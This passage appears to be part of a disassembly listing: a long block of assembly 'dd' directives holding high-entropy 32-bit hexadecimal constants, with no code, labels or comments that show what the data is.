		dd 0A4BB8465h, 60495F91h, 51C44ABEh, 7C6EFAh, 0A0377BAAh
		dd 9741B011h, 677B6D0Bh, 2573FE70h, 0C1D929FCh,	31325725h
		dd 177066DBh, 0A89A0513h, 0BCDA80BFh, 33AB5AEFh, 0C8A9D50h
		dd 0BC96EE5Fh, 3E584059h, 7200A17Ah, 50C9BBCDh,	0A0B57F32h
		dd 0BC909A8Eh, 0CBDD4053h, 6400E753h, 2F16C7A9h, 0FCAC1B6h
		dd 7B6B88DBh, 53A68833h, 0B574A5B8h, 0F494A901h, 3B2ADB5Ch
		dd 0DE6FB03Ah, 0C921905Dh, 52415DBDh, 699B6B6Ah, 698706CEh
		dd 8D27001h, 0DB008129h, 1CAA6D5Ah, 253EAC68h, 8FC02551h
		dd 4E773D53h, 0AD2D8EB0h, 504E5E1Bh, 75BA1BDh, 0F80B4E9Ch
		dd 0E8225A31h, 0D5CBA7E4h, 0A9E9BEA7h, 3513B40h, 279179BFh
		dd 89ED1855h, 7ED2D8Dh,	6D6B4151h, 5C3740D1h, 0E21DC54Ch
		dd 0D602085Eh, 649D23CBh, 398EA110h, 4714D5C2h,	3560688Ah
		dd 0B7258228h, 0B92BC66Ch, 508F00F2h, 0B7959458h, 4F67DB00h
		dd 0AF631145h, 7E590BCAh, 81D737E1h, 26A9B5BCh,	2BF3D0Ah
		dd 897DE9A4h, 0DD7BDF46h, 0FCF9D70h, 4390C8A9h,	68DFEC02h
		dd 0BDDCC6DFh, 5FE29F70h, 348902C4h, 0DEA99BAFh, 3C030A6h
		dd 832759BDh, 496482E2h, 62A0574Bh, 5BD62569h, 0F80251C6h
		dd 85A84968h, 57986026h, 1E40921Dh, 0ED9AABB6h,	0D0C0AAEDh
		dd 9D8CF1AFh, 8D420ADCh, 976FD585h, 291E2AC0h, 45131278h
		dd 0C10D0F9Dh, 90902D50h, 119A06h, 0D4843FEAh, 0AABB5018h
		dd 73323079h, 0D8D13490h, 0E0CDBF72h, 88601764h, 0B12D9B41h
		dd 6376FC61h, 12BABD31h, 95C0B6FFh, 824142CDh, 2AFDCF22h
		dd 5ACD9520h, 88ABA329h, 0B509890Dh, 0B7136272h, 4625E948h
		dd 92EEFAFCh, 8015DABEh, 18A06806h, 5360056Dh, 805E5952h
		dd 0BE88BAB5h, 25405096h, 74912AC9h, 0EA6B3AC4h, 0FB840481h
		dd 61FE47CFh, 0A6AC3E83h, 2F67ACB4h, 0D7AD928Bh, 3C211D05h
		dd 0C3C5EFC8h, 0B6AFFC52h, 5FE148A8h, 0B38484E2h, 4E89AC59h
		dd 5B57AFBh, 75FC30B8h,	0B92DD4A2h, 57163A77h, 5B571698h
		dd 6AAA5F5Bh, 0F4994B55h, 2C0CEC3Bh, 2102009h, 8B605004h
		dd 9B90ABD0h, 0E711BD2Bh, 8AC57D7Dh, 6775FFDCh,	320E036Bh
		dd 0A242FF0Eh, 795F60F2h, 0F910BB8Fh, 8B532620h, 0F0C4F601h
		dd 0BA54615Bh, 3ADE7BFFh, 0A4B05E70h, 9EEB0DEh,	631C1DCFh
		dd 15594573h, 17949A18h, 21ADF812h, 18C17ACh, 9FFCD22Dh
		dd 56B59D2Bh, 0F94E5CC2h, 0E15763EAh, 0C2831F16h, 996888AFh
		dd 0ED094CEEh, 55D2E2F1h, 62A54C79h, 0F377D49h,	15546101h
		dd 826F5026h, 5B042198h, 8AC24BB8h, 87AE52F9h, 615E57A2h
		dd 59EECF5h, 0E3FBE5BBh
		dd 5E80AC1Fh, 0D8060DEh, 0AFEB768Eh, 0A63A2209h, 26375B0Ch
		dd 0AAAFBEABh, 20012619h, 968002E6h, 0B39305BBh, 0AF5070F3h
		dd 8A3D98h, 0A3374469h,	0F87342D2h, 88A7F82h, 8A2DDE40h
		dd 0E7597Ch, 5F83D559h,	6F7BD9ABh, 57807E99h, 4CA8C124h
		dd 0F36D0151h, 0C4CD4543h, 25A16C85h, 2F476E5Fh, 1AFB1D11h
		dd 3FA44A5h, 107870Fh, 80B2BF77h, 5FA77859h, 0B85B6C04h
		dd 4F40A341h, 0BCB0AD26h, 0CCDA00FEh, 54ABACB5h, 0AAD62FE7h
		dd 95645397h, 0C6EAE5AEh, 9DFBCC40h, 2951269Dh,	414191D7h
		dd 2B858960h, 5957EA92h, 3A2F0044h, 6043E021h, 0CC694200h
		dd 99B79F2h, 5F922FCEh,	292C07F9h, 7BA70BF6h, 0E021412h
		dd 5B7D2A55h, 8A7B72BBh, 0B4E2CD2Ah, 0D42C5C9Dh, 50C062BEh
		dd 0D7AE48h, 0CF812DDFh, 1FD3EBA9h, 6525289Eh, 0E75A1735h
		dd 0D72B0F2h, 47024CF1h, 0E713B912h, 21C44F54h,	0C62D95ACh
		dd 90D3A353h, 65C4D71Dh, 0FF956AC7h, 0A77A9B69h, 0BCF3F82h
		dd 0D793E97Ch, 9880B2BDh, 0A0228DF2h, 9C9109D2h, 0F3EDC18Bh
		dd 429180C1h, 5FD39A86h, 4425A5CCh, 6F83CA9Ah, 2BDF60ACh
		dd 0DE7FE88Bh, 16EF58C7h, 20AA9084h, 0A0D26941h, 0DC35222Dh
		dd 6F319CACh, 0CBA0FD44h, 42A20955h, 100DE59h, 994230BEh
		dd 71BF01DFh, 0F25C7D72h, 637FCE69h, 0F561D8FCh, 95F59EDh
		dd 0EC14650Bh, 8563B7F7h, 0C56F34B7h, 40BAFD7h,	0CBAC5409h
		dd 84674EDh, 4F7AB022h,	816D4529h, 5573AB12h, 6DCCD0E3h
		dd 53DC9F80h, 0EDBB5007h, 904FAF11h, 0D6B85379h, 29BE6E02h
		dd 92054DBDh, 17E6D6B0h, 59AAAFCh, 0C5FE148Ah, 45E705C7h
		dd 6FDCA413h, 9D77797Ah, 0F6273396h, 6A0B5591h,	80CDFEB9h
		dd 54D38027h, 0E2B8D1FFh, 3AF6BF24h, 0EF55F202h, 40215461h
		dd 5E67F41Dh, 5B5B7B25h, 0F6026432h, 6BBCE0DBh,	69833B5Fh
		dd 5576816h, 0EB06251Dh, 0E9BEDD20h, 35978CD2h,	7F8B077Ch
		dd 0FA4F54D4h, 16A24FB6h, 592DA4ECh, 61BF8280h,	71F9772Bh
		dd 712CF8Eh, 0D6A42064h, 6FE16EB8h, 0D7800014h,	0DC77BE10h
		dd 54BB6200h, 23EC9877h, 2C1527BDh, 0C10F185Dh,	294008Fh
		dd 0CA961A2Eh, 80120B6Ah, 0DAAB2AE7h, 3F168A86h, 0FFF05E41h
		dd 0D91CCD6Bh, 44E5628Ch, 953E3442h, 0C71980D7h, 0FBDB3B86h
		dd 0BF562650h, 325A0571h, 2EB7E5Fh, 7B9B63DDh, 0FDF1FDE6h
		dd 0E90BF01h, 6C2E5C18h, 5C0BBBC5h, 5530941Ah, 16450ACDh
		dd 2C3D7098h, 175E7641h, 0AEDA341Ch, 0A90089F7h, 0E50A315Fh
		dd 6900E82Ch, 5E36F3CAh, 916E434h, 0FF6A2ADEh, 3BC00CCDh
		dd 0B82648D8h, 9DD4BD68h, 73FE8A09h, 5C181188h,	35C88094h
		dd 7E2636Eh, 0A31B611Ch, 0EB8001B0h, 24A02A4Dh,	0EDD2185h
		dd 0CD642Fh, 2D8E32D9h,	0A1A217C1h, 812C4A65h, 0D1B0A557h
		dd 83C25D7h, 15D9AEC9h,	0A14B36ACh, 32D77F97h, 56628A94h
		dd 1AE967C0h, 56941297h, 4236288Eh, 95122217h, 4D00ACD8h
		dd 0C208153Eh, 74BA764Fh, 0CD443E80h, 0ABB50B13h, 0C1FB8492h
		dd 0C2F526h, 0B529C82Bh, 0D9457AE5h, 603359Dh, 587CE9D1h
		dd 0A05A8F67h, 0C6C45001h, 96B8FCFBh, 3C960976h, 937219D3h
		dd 52F4C0D2h, 0C8F250Fh, 0DA80B0FBh, 43D7A225h,	88584BC9h
		dd 8989119Eh, 179AA92Bh, 0F1C93AE9h, 0DD2A06EDh, 0F1B531B6h
		dd 0F5F50223h, 3826453h, 7F174D9Dh, 842DDEC5h, 5E1A225Fh
		dd 8A5B7109h, 36589290h, 0CDBC395Dh, 48DA3213h,	53AC1E84h
		dd 0B9D98AC0h, 0E3B40F4Ch, 93804F4h, 0EE8A1C1Dh, 46A54604h
		dd 0AA4F4EB8h, 0ED25166Eh, 0C6A5BD4h, 73162D09h, 18187122h
		dd 8F45480Dh, 0AD2CEF7Bh, 0B2D52E27h, 1404C01Bh, 0FC549F92h
		dd 0BF66B3FCh, 8137031Fh, 0D74DCFEFh, 0B88F7964h, 2550B86Bh
		dd 0A4FE1701h, 572E1AC9h, 2EE2F5B9h, 3EDA2174h,	89F5A6CBh
		dd 5B82FF15h, 6FDF08B9h, 901A40BDh, 0B73E0585h,	8C78934Bh
		dd 24BE2EFEh, 204BE685h, 2B92B750h, 2572958Dh, 36E614Ah
		dd 3077CA25h, 0BF05715Bh, 1D42E1F4h, 0BF771221h, 18368095h
		dd 548A5133h, 6991E477h, 0FE4FB38Bh, 2173EBD4h,	0EA9E6650h
		dd 893750C6h, 94BB26A2h, 0FD8A8EFAh, 0F1E0E169h, 1497FBDDh
		dd 4163834h, 0BD9FFD4Eh, 9F5EC2Eh, 896FB12Bh, 6B81D6BFh
		dd 0F9587D54h, 0DCF39503h, 0F871D9D0h, 9197047Fh, 0B8F9BB2Fh
		dd 2592A266h, 0C233DB60h, 7FB5DEBBh, 3DFFE389h,	2C758308h
		dd 4A095918h, 0D5F98AD9h, 0DEC600CAh, 8086B838h, 9B54FFB4h
		dd 9721085Ah, 1705A22h,	9983DD7h, 0E7DEB833h, 344EE52Fh
		dd 65A6FADFh, 80DDADA4h, 5F12DCABh, 4BCE1260h, 1F94FE89h
		dd 1D4B2AFh, 0EE3D7FEAh, 7B6E1C49h, 3E98002Ch, 0C7B338BAh
		dd 0A8B51630h, 0D6414060h, 658D0162h, 5FE70427h, 0C50C1F3Dh
		dd 17B4F467h, 4D1725Dh,	87558h,	19077D68h, 3090BC44h, 82243444h
		dd 16DE06EAh, 301BC704h, 23316BFFh, 8CED001Bh, 7988A98Fh
		dd 0D79C3125h, 3184E43Fh, 0E1E26D5Dh, 0D3C7FC4Ah, 5FFC20BFh
		dd 17075E9h, 0DC3EF497h, 79EC8A02h, 0D83B30CDh,	919A9401h
		dd 0BB010508h, 0E1EE200Dh, 0D8332B99h, 8C1D929h, 252E480Ah
		dd 0AD2D5B2Bh, 0F140B054h, 9E6C1BAh, 2D5BA420h,	572F76F9h
		dd 0B5C8C298h, 3E805AB5h, 0E843DA2h, 0B85B94EEh, 0B6C1D7D8h
		dd 25E8E246h, 0D4319761h, 7D801210h, 6A001FCCh,	113B6469h
		dd 2430D219h, 98A0689h,	0C1140E6Dh, 0EAFC015Eh,	0F9D3B092h
		dd 502FAEBCh, 5731032Bh, 0EC4F15BFh, 0DA7F5FB2h, 9932A05Fh
		dd 715627D2h, 0B7C2D1FCh, 0D19455FAh, 211A5888h, 74EB405Eh
		dd 2796F978h, 40B11250h, 4A784B85h, 21F0B5D5h, 0D3FC7F61h
		dd 8594F8CCh, 0FF1B212Dh, 4D95E2B8h, 0BA530844h, 0E55B6026h
		dd 0DB1151BFh, 0FEEA3C6Fh, 3DC86D1Dh, 16909F60h, 0D751CC8Ah
		dd 0B7D49D0Bh, 1735DF52h, 0B62D30A7h, 0A902EBE8h, 0BE015055h
		dd 5595DC43h, 0BB517984h, 0ECA59544h, 31B398B8h, 2B2569D1h
		dd 952FB039h, 0ED6FF0h,	60B4CF52h, 0BFA9B52Bh, 68B963C8h
		dd 74618B2Fh, 8D294185h, 84104595h, 0EEA3AC76h,	0A8AEBD92h
		dd 5F6D704Ch, 6152BF69h, 0ECCEDB05h, 0C9C1A89Bh, 2A895658h
		dd 0FC9057ABh, 45EB134h, 20A3E09h, 4979FA15h, 19D21547h
		dd 8093FB16h, 3F3CB81h,	0C09C2C64h, 0AAC81340h,	2E5C00F9h
		dd 0C005740Ch, 3E0A94CBh, 9E68151Eh, 4EA5325h, 3902C1BDh
		dd 0F5A03676h, 880166E7h, 6B50588Ch, 322E7FE3h,	0A9F052B6h
		dd 5B6A790Ah, 0BD09B996h, 0D2F57FBh, 803E602Eh,	937FE82h
		dd 614F5F51h, 1C56888h,	0FFD1AC5Bh, 2ED3A6EBh, 0DB5F36F8h
		dd 0C017883Ch, 0FA69F80Dh, 193594C4h, 6BD6D1B9h, 19B50048h
		dd 0B4EA17Eh, 74BF16BCh, 0A243888Eh, 1EB04800h,	83E3CFD7h
		dd 22FF2CDh, 0D2808702h, 0CFEA90B1h, 0A7CE1FA8h, 473DDDh
		dd 67D87023h, 0B0A38E2h, 0AD062E76h, 9FC65B60h,	661200EDh
		dd 0A7781D0Dh, 5CB5266Ah, 0DE96D423h, 0D3C079C7h, 4A1E513Eh
		dd 0A734AF5Eh, 49F81513h, 0A61383C0h, 6EFEBD4Bh, 62340C01h
		dd 6027C68h, 1F5DC82Ah,	23934000h, 0E1D15618h, 44AC0280h
		dd 0A1DAA5C8h, 5B6788FCh, 0D6DCD41Bh, 78181646h, 5BD487Ah
		dd 35AE0E5Ah, 0C0DF9A2Eh, 0B335171Ah, 38B01632h, 0F2600EE9h
		dd 64089726h, 0C2A5D5BCh, 0ECB75534h, 74FFF313h, 4D6AAF75h
		dd 7762DD01h, 2F6B0EE6h, 0DE8A3F31h, 9C6D52A7h,	0B05934C0h
		dd 0BACF699h
		dd 6FB4F653h, 16550C5Eh, 5056BB7Ah, 9D8239A9h, 96002BADh
		dd 1D44BB50h, 0E51BFE80h, 45006037h, 0B8641871h, 9F5BA41Fh
		dd 0D689E27Bh, 3FB57FE6h, 22821491h, 47DFC8Ah, 38AE26B0h
		dd 96891772h, 9F088BDCh, 0FBBAC093h, 26BCB85Eh,	910B2996h
		dd 51CD552Fh, 0E6234CCBh, 12E7F2ACh, 47E9B589h,	8B60528Bh
		dd 5D273C51h, 2A610711h, 0BF02CEA6h, 5DDB30CCh,	0CE5FA4BAh
		dd 0CC90B725h, 673D60CEh, 5FA580BAh, 7BEB821Dh,	85012596h
		dd 5BD304F5h, 63A2D0B8h, 0F1B98529h, 88FEC852h,	5C9DF8E8h
		dd 3E9CD4C9h, 1506E7C0h, 6F3701E0h, 4AB7F6E6h, 0E80C69C6h
		dd 0B83C00F7h, 7CEF1687h, 7209BF5Bh, 55269360h,	1791AC3Dh
		dd 0F065148Fh, 0EB20CCE5h, 0A700DC7Dh, 256D5BE4h, 361A1BBh
		dd 0BE3779A6h, 0BF9CFE2Eh, 5B8B85C8h, 0E091E6C1h, 2DFCB79h
		dd 58265CF1h, 1B40101Ah, 5C970B61h, 0DBDE1FDh, 3FBF101Bh
		dd 544627EDh, 6D72A2DFh, 9253D513h, 6742F9D8h, 0DAA96A48h
		dd 23863026h, 0BF0EC24h, 34B1DFCh, 1688A09Ah, 0D3C473C0h
		dd 0E1952489h, 60908499h, 0DD33AA50h, 90E425Bh,	0C45F086Bh
		dd 2C7C3E72h, 0A549F980h, 73A7B781h, 6AFCF03h, 185B892Dh
		dd 5A506134h, 0F74E8A52h, 82C871A4h, 0AA61DC04h, 75C00FDBh
		dd 5CA2C87Bh, 4C8B7C97h, 0EB07814Ch, 6544199Ah,	0E0E34D8Bh
		dd 3980F4A8h, 0F7D86002h, 5CE2B70Dh, 8D0963EEh,	0C87369FFh
		dd 23B98FB5h, 696DD12Fh, 0E8AA01C0h, 912F04C7h,	0C2649A57h
		dd 0BB5CD849h, 0EC148C51h, 0F9020AC0h, 8E96DB90h, 3BB0530h
		dd 40C0A36Fh, 0D1D8C21Ch, 0CE49D40Fh, 3EF11C69h, 2A986503h
		dd 0B4FDE0DAh, 3931026Ch, 29018187h, 100B0649h,	0BF24C5h
		dd 60862A2Ch, 3F4F01AFh, 5FC461EAh, 20BFF990h, 0C215D889h
		dd 31321A00h, 0F2A4C987h, 2CA82F21h, 0D2B82B46h, 5BBAA016h
		dd 64BCA664h, 9133D880h, 9D016293h, 58BD2778h, 0B26B8D7Bh
		dd 5FF80241h, 5C0F42E9h, 242D58BEh, 0B8D13782h,	190EC403h
		dd 52E98521h, 0AFAD6EE7h, 0C2E11AA8h, 0E0FA4E10h, 0FBC22DBCh
		dd 3EE9BBC1h, 354FAC52h, 147D4729h, 9AAB53AFh, 64E6D35Dh
		dd 0AF380E16h, 5684E413h, 88829BBFh, 0F45AC017h, 5E95C24Ah
		dd 73B3D49Ch, 1B517280h, 2707E373h, 0FD90FF6Ah,	6B16B8E0h
		dd 0DB05C04Bh, 4EF7017Dh, 0A6BDFDA0h, 28764D01h, 2D37FED9h
		dd 0F1CC202Bh, 990AD13Eh, 0CA5382CCh, 0C2B7508h, 0A5105F5Bh
		dd 852A0741h, 0CA2AA9Ah, 55624088h, 0D1121Ch, 0EFB85400h
		dd 1EABEEh, 45C7AE78h, 6A184759h, 0D698B100h, 70E63420h
		dd 0B59D120Bh, 0BBC2E405h, 0A5A92F39h, 0D0B2577Ah, 0F040D4DCh
		dd 12D9A1C3h, 0E108F255h, 1F653FB3h, 0AA60C4BFh, 4F104C99h
		dd 0F89E4Dh, 8901E160h,	0BDDC0C76h, 0BFB08F00h,	7A0B3CD8h
		dd 79E898ECh, 957C7F66h, 8971FC10h, 49BF064Bh, 0DD70F266h
		dd 4FD0095Ch, 0F9D479F8h, 86AFF301h, 2150C82Bh,	7B7E3176h
		dd 9427FCh, 918A7C80h, 0D2F5BAA4h, 63257366h, 55CCC021h
		dd 0B9495047h, 365E972Dh, 27DBF949h, 0CE9DCFEh,	25DB8417h
		dd 0DDC926A0h, 7BCA7103h, 5588055Dh, 0D2611D09h, 62D3E7F9h
		dd 226F170h, 0B09844E9h, 3B970701h, 5CFEB2D3h, 532D44CEh
		dd 2359CC05h, 0AB2374FAh, 0E2BA6774h, 0E8B73E10h, 0F62F7C38h
		dd 0B8321228h, 0A18FA167h, 495FAA06h, 7C10AC26h, 5565B515h
		dd 404A4DA7h, 61257305h, 8A204209h, 0E3DB98FDh,	754B3C7Eh
		dd 78251881h, 0E4041E1Fh, 0D009372Bh, 4016883h,	5F01159Eh
		dd 0C20EF7B9h, 70CE53D5h, 0FA00F6E1h, 0C1CAA718h, 97548796h
		dd 187F0489h, 0CC781A9h, 77B34CC9h, 0DE13BF1Ah,	89AEC02Bh
		dd 2FD2E193h, 0D502466Eh, 0DE2F0EE2h, 28F7D97Dh, 26CD2DE5h
		dd 0BDE73C55h, 29582853h, 2F48987Eh, 377D05F5h,	679289h
		dd 97EE6303h, 2B97E0F6h, 0DE8A56ECh, 2632A10Bh,	9B5D4F5h
		dd 8AE64476h, 68E77C95h, 0D1516BCEh, 95F466A5h,	592E5164h
		dd 0D104CD72h, 0B1BB43B6h, 41B82E45h, 0A09101EFh, 0E7BC936Bh
		dd 957506E4h, 0C0004DB7h, 0B12EBBCCh, 0C85C5E94h, 5E124120h
		dd 0C9FFD12Dh, 5945426Ah, 0E6F459DDh, 67B33DA4h, 0E8DFF07Bh
		dd 353C00A2h, 293E77CAh, 679CD19Dh, 1AFC4127h, 0E410B66Ah
		dd 0B78F39BDh, 0B57F4AE9h, 801691FDh, 2352496Ch, 0F0554D9Dh
		dd 0CD6FAA5Eh, 0B069BB14h, 8A89AC4Ch, 9D9C5D5h,	0B6D6047Ch
		dd 8BDE09F4h, 0B0443B7Dh, 5E332F00h, 0F109F4EFh, 0D24502C6h
		dd 18DC3984h, 58504A5Eh, 0E1BDB704h, 7C0A5E00h,	752BC7A4h
		dd 0BB9F3893h, 591DB58Bh, 76C0475h, 3A2C8EEAh, 0F03C56E6h
		dd 912BDDh, 4AE749DBh, 42BB6073h, 36D0CC01h, 2BED9D89h
		dd 51F78000h, 0DC465CBDh, 968D6E4Eh, 82FD5744h,	8D8E854Bh
		dd 8EA83F65h, 9400843Eh, 5D3CA49h, 0E90F53F5h, 0E995878Dh
		dd 4B807814h, 0F472D2FCh, 0E0D88853h, 0A80550A3h, 4178A2BDh
		dd 56EE796Ah, 644152B9h, 0B9BC2E27h, 0A092B6A4h, 3EF3B2h
		dd 80BF20E3h, 0F532B376h, 5B21504Fh, 3F090D21h,	0C1B5B4D1h
		dd 68025C68h, 74DB4C03h, 5CAA9A55h, 4FFC0728h, 0F936DCC4h
		dd 0C5251798h, 69F7511Ch, 2C50D97Bh, 0EC8E0EE3h, 9CD438FDh
		dd 14557E69h, 29B511C4h, 0A536210Eh, 35098435h,	2541D8B9h
		dd 0F6C219CAh, 0D0C7D377h, 71F4013h, 4F7B2660h,	4A2862B0h
		dd 0ACB9AD30h, 35008C1Ch, 88B17AAEh, 9056811h, 0BDDF80BCh
		dd 0FC970D78h, 0A206F4DAh, 0F427C9D8h, 0DB8105B0h, 0F25BAF5Eh
		dd 167400D0h, 21F815AEh, 0B1304B6h, 0BCA2D2C3h,	689C53Dh
		dd 90B8EBBDh, 5DF5FA25h, 1D15C935h, 933480E6h, 1CF66AD7h
		dd 0D39EB87Dh, 0F5EF04D0h, 9665BC0Bh, 9CE033B6h, 492D6616h
		dd 84905784h, 0E5006CC8h, 0C5D0695Eh, 47F5B2Eh,	6160C164h
		dd 94F250h, 3F72CB36h, 2CDB45Ch, 4CEEF6BDh, 96FC5B53h
		dd 0E1E758ADh, 0B84EA26Ah, 17080030h, 1C68C6B7h, 140B81A5h
		dd 0A63E5BFh, 0E387E4EDh, 4DC99EA6h, 5E5C0F4h, 5224FCD7h
		dd 0F8601407h, 0B63133h, 0EA1618E3h, 0AAA83F9Eh, 80BE9897h
		dd 89425FC7h, 0B89BD8FAh, 0DB469C27h, 0FA0E0101h, 3B5090C0h
		dd 58EC408Dh, 379E0172h, 85C2AECDh, 0B2F6C7Fh, 0FD5B93BFh
		dd 90DA3268h, 0B84AFC4Dh, 56BD8C1Dh, 97378077h,	612CE819h
		dd 6D091998h, 182AB52Dh, 4F80D609h, 0B820BE4Bh,	4A4C64DCh
		dd 0D653F34Dh, 77A0F2B6h, 824AD3D9h, 0B7844CF6h, 0BCE2FAC5h
		dd 2CC19508h, 55D86977h, 0E9988998h, 511C052Eh,	4DFE973h
		dd 0E640DF1Eh, 4B97E92Dh, 0DF7F25BCh, 170756F9h, 9FE06530h
		dd 1192DD6h, 64601586h,	20FFC980h, 3AEEE2DCh, 9595C2A5h
		dd 38E84Ah, 0FF3D9687h,	0DFDCBA7h, 848B0F79h, 1AAC33BDh
		dd 0E7420E8Ch, 0D37DFF7Dh, 213A4BA0h, 0BD131655h, 9640C5CDh
		dd 0BFE301FBh, 0B0029746h, 0B237CD36h, 0D6225E5Bh, 3A001B46h
		dd 71108F1Dh, 0F15A2BFDh, 0A8F73623h, 9F5D102h,	0D7ECD87h
		dd 2A6FC79h, 12326908h,	5020AF96h, 1E0340AFh, 80F61DABh
		dd 2B6D59FBh, 0BB71FD81h, 0C6A1F909h, 900BF24Bh, 8DA72F31h
		dd 6377A629h, 64BBE04Dh, 97A7BC12h, 7E6F96h, 220CDC6Dh
		dd 1666EC69h, 0C872D380h, 20066A47h, 4CB5078h, 6B89258Ah
		dd 442576D3h, 15EE54h, 3D66021Ch, 9768030Fh, 92DC013h
		dd 5F3992EFh, 518F7B7Dh, 27261Ch, 85B5179Ah, 256390A8h
		dd 0E544F85Ch, 6024DEB7h
		dd 47894075h, 2C4EC801h, 58870A0Bh, 0B7670925h,	0B2C23DE0h
		dd 0D0D13702h, 6233365Dh, 9F137012h, 0F75A76FBh, 420479F3h
		dd 81B8495Ah, 0AE1C3112h, 6A3A302Dh, 8CFF4AFEh,	0AC2EB229h
		dd 950BC0BFh, 69355522h, 802F1594h, 0F98BE6B3h,	0B6C24E83h
		dd 9F82F155h, 587A2823h, 2D00A2D6h, 35AF5433h, 990511BBh
		dd 28219529h, 5A94B2FAh, 0FB4BB387h, 0C0911E44h, 674C1612h
		dd 0FD250866h, 0F535DD3Ch, 4EEEEC25h, 560B8C11h, 0B42FC590h
		dd 0ADFEF09Ah, 1D2CE06Ah, 3C01AD01h, 4A55610Eh,	762CDD8Ah
		dd 18B8C049h, 3025398Ch, 0FBF06193h, 604B156Bh,	0AEF7632Fh
		dd 0CA271D94h, 139D6DEh, 0B50213F1h, 0C3042B8Dh, 8DBACA8Bh
		dd 11D02ED9h, 9CF8157h,	6A74ACF4h, 0EF7727A9h, 0D0326296h
		dd 0D6E93B74h, 9C01D468h, 4FF5A9F2h, 283A03E3h,	539D4A39h
		dd 0B81AD8E7h, 7BD4450Bh, 0D78BF596h, 61E037DCh, 6F45553h
		dd 0D77AFCBFh, 14E1284Bh, 0B40708C4h, 0CE21D38Bh, 0BB409661h
		dd 0AC9755E3h, 8CF54EA2h, 885F0F38h, 48EA4156h,	0D32503B2h
		dd 0DABF0106h, 3A609F88h, 0ECE94333h, 0A36CDE40h, 149D8631h
		dd 81454435h, 27B4EF04h, 0B3AB77D8h, 41BB07B8h,	0F509C6A5h
		dd 0BC8052B7h, 0D3DFBF51h, 5F2F2498h, 92B60F3h,	0F73EB93Eh
		dd 0C8A49234h, 52E0F0BCh, 210157BFh, 0E95B77D6h, 8B7CF20Bh
		dd 3145EA5Bh, 0F0FC890Fh, 1E472FA0h, 5640BC03h,	0B8549449h
		dd 35B4853h, 0B0FB5C1h,	0BAB48BEFh, 0D905516Fh,	879723A0h
		dd 92EE56B1h, 0EEE1115Bh, 8075F37Eh, 5BFF01BFh,	314100FEh
		dd 7F89A874h, 71F9E42h,	3985AF3Eh, 0E8F8D255h, 81F00E06h
		dd 30ED3DEAh, 894814D2h, 0E7D14599h, 8E8199FFh,	0E5EC3410h
		dd 61DB2A50h, 586EC84Ah, 1AC22B34h, 1192F87h, 5A4D384Ah
		dd 7612BA91h, 3C50B701h, 3A81D003h, 199445D9h, 2D8EE484h
		dd 0D9E9100Ch, 0C8592095h, 929D8589h, 400319C5h, 88064F3Ch
		dd 1E27E5C2h, 12627D8Bh, 4D0F1CFDh, 1C865BF8h, 20D1030Ch
		dd 4D16C937h, 771208B6h, 8F648041h, 83851891h, 0E6A204C4h
		dd 18B5116h, 0A98110DCh, 0B51446B0h, 0C0335909h, 18F07C3h
		dd 241C9969h, 4FFCAE14h, 585F68C9h, 347D9558h, 4029A324h
		dd 65698208h, 0CCD3EB23h, 0F5189DD1h, 0B89A2DDBh, 45330B32h
		dd 0E6DF5B68h, 0F6B70293h, 5C85C381h, 0CDA930F5h, 20870E62h
		dd 0E68248BFh, 0EB70F668h, 80566038h, 0D7815E5Ah, 2F78C20Ah
		dd 0DF606167h, 337FFFC7h, 0A1B86609h, 913000D8h, 0B7014D64h
		dd 0D7AD1AD9h, 4535B910h, 96E1CF01h, 748A71E7h,	0EEA5C81h
		dd 0D82EB842h, 3B905CF2h, 4C605A25h, 0B6D00098h, 5133DF92h
		dd 614C5BF8h, 8FF91267h, 0EB9B90EAh, 2FE34B02h,	49C5CCh
		dd 72C8AB10h, 8318F9AEh, 65093AFFh, 5232259Ch, 608000ECh
		dd 0EBD71A29h, 0F7F0800Eh, 19702058h, 34F9FE9h,	0AE8A65A1h
		dd 0FBA03BBDh, 31001BA5h, 36C24B3Eh, 66BAA217h,	2128084Eh
		dd 3E397C01h, 63D2D91Dh, 0D7AED0h, 8535BF1Bh, 7C1B48Ah
		dd 0D882E800h, 0F9E9768Fh, 0A15A1281h, 9E1D0CF8h, 4560D718h
		dd 66A5D570h, 0C0FE74E2h, 0FC491B10h, 3A067437h, 627C8E17h
		dd 21E56008h, 29FC50B8h, 0D9114003h, 10793316h,	689A6458h
		dd 6B112CA0h, 32FC4E80h, 876274h, 0B6FC55BBh, 0E90040BAh
		dd 0C448EBA1h, 37F142B3h, 0E0C082F5h, 2A1992DCh, 111FAE7Ch
		dd 0A02A98FEh, 3502AA46h, 56C2473Eh, 78102631h,	0BB1E3E3Dh
		dd 0A61E60A0h, 0BEE57740h, 0F83B0135h, 7EB0C6h,	3236221Ch
		dd 49C83147h, 0CD38BD00h, 0D1FB350Fh, 0BA8101C4h, 42F6ED4h
		dd 0C0F3F0ECh, 38314C00h, 0B47B44C8h, 0CCDA00F1h, 0BCD4E7EBh
		dd 6B78CDCAh, 3BCBD800h, 89413E84h, 8340037h, 0DF674425h
		dd 0A1015D73h, 951D5F43h, 90E84F16h, 4E6D3FEEh,	0FD1BAA00h
		dd 0A98F638Dh, 70911500h, 1E758B18h, 0EFA803F7h, 0BC72B8CEh
		dd 5896DAC0h, 5690E300h, 0D57EBD7Fh, 0FFAE00B4h, 0FBBE7AD7h
		dd 0B7001E6Bh, 38EBB2EFh, 4945F08h, 0BF62801Bh,	0BE6F8076h
		dd 0AC4883CFh, 435A0081h, 4B7FE3CBh, 60E47403h,	0F48521B2h
		dd 21005302h, 0BFB12A37h, 0C94CEAh, 4686A709h, 66B03A43h
		dd 0A1C1E500h, 4083F30Eh, 0FBB8FCh, 0BF5AE7C0h,	0F4CC2DCFh
		dd 6F86273Ah, 806EC058h, 0C580CA9h, 8804C3A3h, 21C09C08h
		dd 0B0807641h, 38153AECh, 0A435603h, 68186174h,	73298824h
		dd 0CDED0030h, 699F2C63h, 601E490h, 42055862h, 30B68734h
		dd 0A57430C8h, 0C2577618h, 759EF11h, 2F44ED09h,	3F4CB3A8h
		dd 21E80830h, 38095181h, 0F100E1B0h, 78C0AEE9h,	0AC2A8C86h
		dd 341390B8h, 0DF0030AAh, 0E5598AA8h, 11D90F5h,	80DD456Fh
		dd 0E44B2A8Eh, 0D900E216h, 0CFD8C6A2h, 0C7BFE456h, 0B0AA9E99h
		dd 5FAB3670h, 0E63DC83Dh, 21A508h, 9BC672FFh, 0D86C6D7Ch
		dd 10CEAF1Eh, 0E82690CAh, 0EC807191h, 0D3435902h, 0F5860087h
		dd 0A697DC02h, 0A97A2E01h, 0D40D10A2h, 36BA9883h, 0A813B5AAh
